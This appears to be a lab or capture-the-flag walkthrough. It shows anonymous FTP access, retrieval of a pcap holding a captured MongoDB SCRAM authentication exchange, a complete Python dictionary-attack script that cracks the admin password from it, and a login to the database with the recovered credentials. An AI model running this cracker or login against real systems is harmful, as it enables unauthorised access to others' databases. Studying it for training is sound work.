FTP

Version

vsFTPd 3.0.3

Possible Vulnerabilities

Anonymous Access

PUB directory, meaning we are most likely in this directory.

/var/ftp/pub/

We also have a pcap file.

The capture contains traffic from an internal service running on port 51072 that connects to the mongodb service running on port 27017.

I also verified that the port was indeed running internally and this was the case.

I also analyzed the pcap file to see if there was any information about the internal service such as possible version numbers but nothing.

Upload permissions are off as well.

Inside the pub directory, we find a PCAP file debug.pcap.

ftp> cd pub
250 Directory successfully changed.
ftp> ls
227 Entering Passive Mode (192,168,120,186,156,162).
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          4603 Feb 01 02:10 debug.pcap
226 Directory send OK.
ftp>

We'll download and examine this file.

ftp> get debug.pcap
local: debug.pcap remote: debug.pcap
227 Entering Passive Mode (192,168,120,186,156,75).
150 Opening BINARY mode data connection for debug.pcap (4603 bytes).
226 Transfer complete.
4603 bytes received in 0.00 secs (1.1576 MB/s)
ftp> bye
221 Goodbye.

┌──(kali㉿kali)-[~]
└─$

Exploitation

MongoDB Authentication Handshake Brute-Force

Opening and viewing the PCAP file in WireShark, we can see that it contains what appears to be a MongoDB authentication handshake.

According to the MongoDB documentation, starting from version 4.0, MongoDB uses Salted Challenge Response Authentication Mechanism (SCRAM) as its default authentication protocol. MongoDB also provides a helpful blog post outlining the protocol. The protocol is also detailed in RFC 5802.

If a full exchange is captured, then an offline dictionary attack can be mounted in an attempt to crack the password. Specifically, we would need to obtain the following information: username, salt, client nonce, server nonce, and the target hash value.

Luckily, it looks like we have the full exchange captured. The username (admin) and the client nonce (+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK) can be found in the eighth packet.

The server nonce (+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D) and the salt (zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg==) can be found in the ninth packet.

Finally, the target hash (/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98=) can be found in the tenth packet.

Nice, we appear to have all the needed information to mount our dictionary attack. However, unfortunately for us, neither John nor Hashcat support brute-forcing SCRAM, so we'll have to write our own tool. In order to do that, we have to fully understand the protocol.

Because this is an offline attack, we can afford to use a larger wordlist, such as rockyou.txt. The following PoC script should crack the handshake for us within a reasonable time.

#!/usr/bin/python3

import base64
import hashlib
import hmac
import sys

USERNAME = 'admin'
SALT = 'zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg=='
CLIENT_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK'
SERVER_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D'
ITERATIONS = 15000
TARGET = '/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98='
WORDLIST = '/usr/share/wordlists/rockyou.txt'

def byte_xor(ba1, ba2):
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])

def proof(username, password, salt, client_nonce, server_nonce, iterations):
    raw_salt = base64.b64decode(salt)
    client_first_bare = 'n={},r={}'.format(username, client_nonce)
    server_first = 'r={},s={},i={}'.format(server_nonce, salt, iterations)
    client_final_without_proof = 'c=biws,r={}'.format(server_nonce)
    auth_msg = '{},{},{}'.format(client_first_bare, server_first, client_final_without_proof)

    salted_password = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), raw_salt, iterations)
    client_key = hmac.digest(salted_password, b'Client Key', 'sha256')
    stored_key = hashlib.sha256(client_key).digest()
    client_signature = hmac.new(stored_key, auth_msg.encode('utf-8'), 'sha256').digest()
    client_proof = byte_xor(client_key, client_signature)

    return base64.b64encode(client_proof).decode('utf-8')

counter = 0
with open(WORDLIST) as f:
    for candidate in f:
        counter = counter + 1
        if counter % 1000 == 0:
            print('Tried {} passwords'.format(counter))

        p = proof(USERNAME, candidate.rstrip('\n'), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)
        if p == TARGET:
            print('Password found: {}'.format(candidate.rstrip('\n')))
            sys.exit(0)

print('Wordlist exhausted with no password found.')

Let's give it a try.

┌──(kali㉿kali)-[~]
└─$ python3 scram-crack.py
Tried 1000 passwords
Tried 2000 passwords
Tried 3000 passwords
Tried 4000 passwords
Password found: monkey13

After about 4000 iterations, our script finds the admin password to be monkey13. Let's connect to MongoDB and list available databases. To do that, we first need to install the mongodb-org-shell package by following this guide. Once the shell package is installed, we'll connect to MongoDB with the recovered credentials.

┌──(kali㉿kali)-[~]
└─$ mongo mongodb://admin:monkey13@192.168.120.186:27017/
MongoDB shell version v4.2.13
connecting to: mongodb://192.168.120.186:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("42164b37-99dd-429d-91fc-65cc46e0240a") }
MongoDB server version: 4.0.22
...
---

> show databases
admin   0.000GB
config  0.000GB
local   0.000GB
nodebb  0.000GB
>

Last updated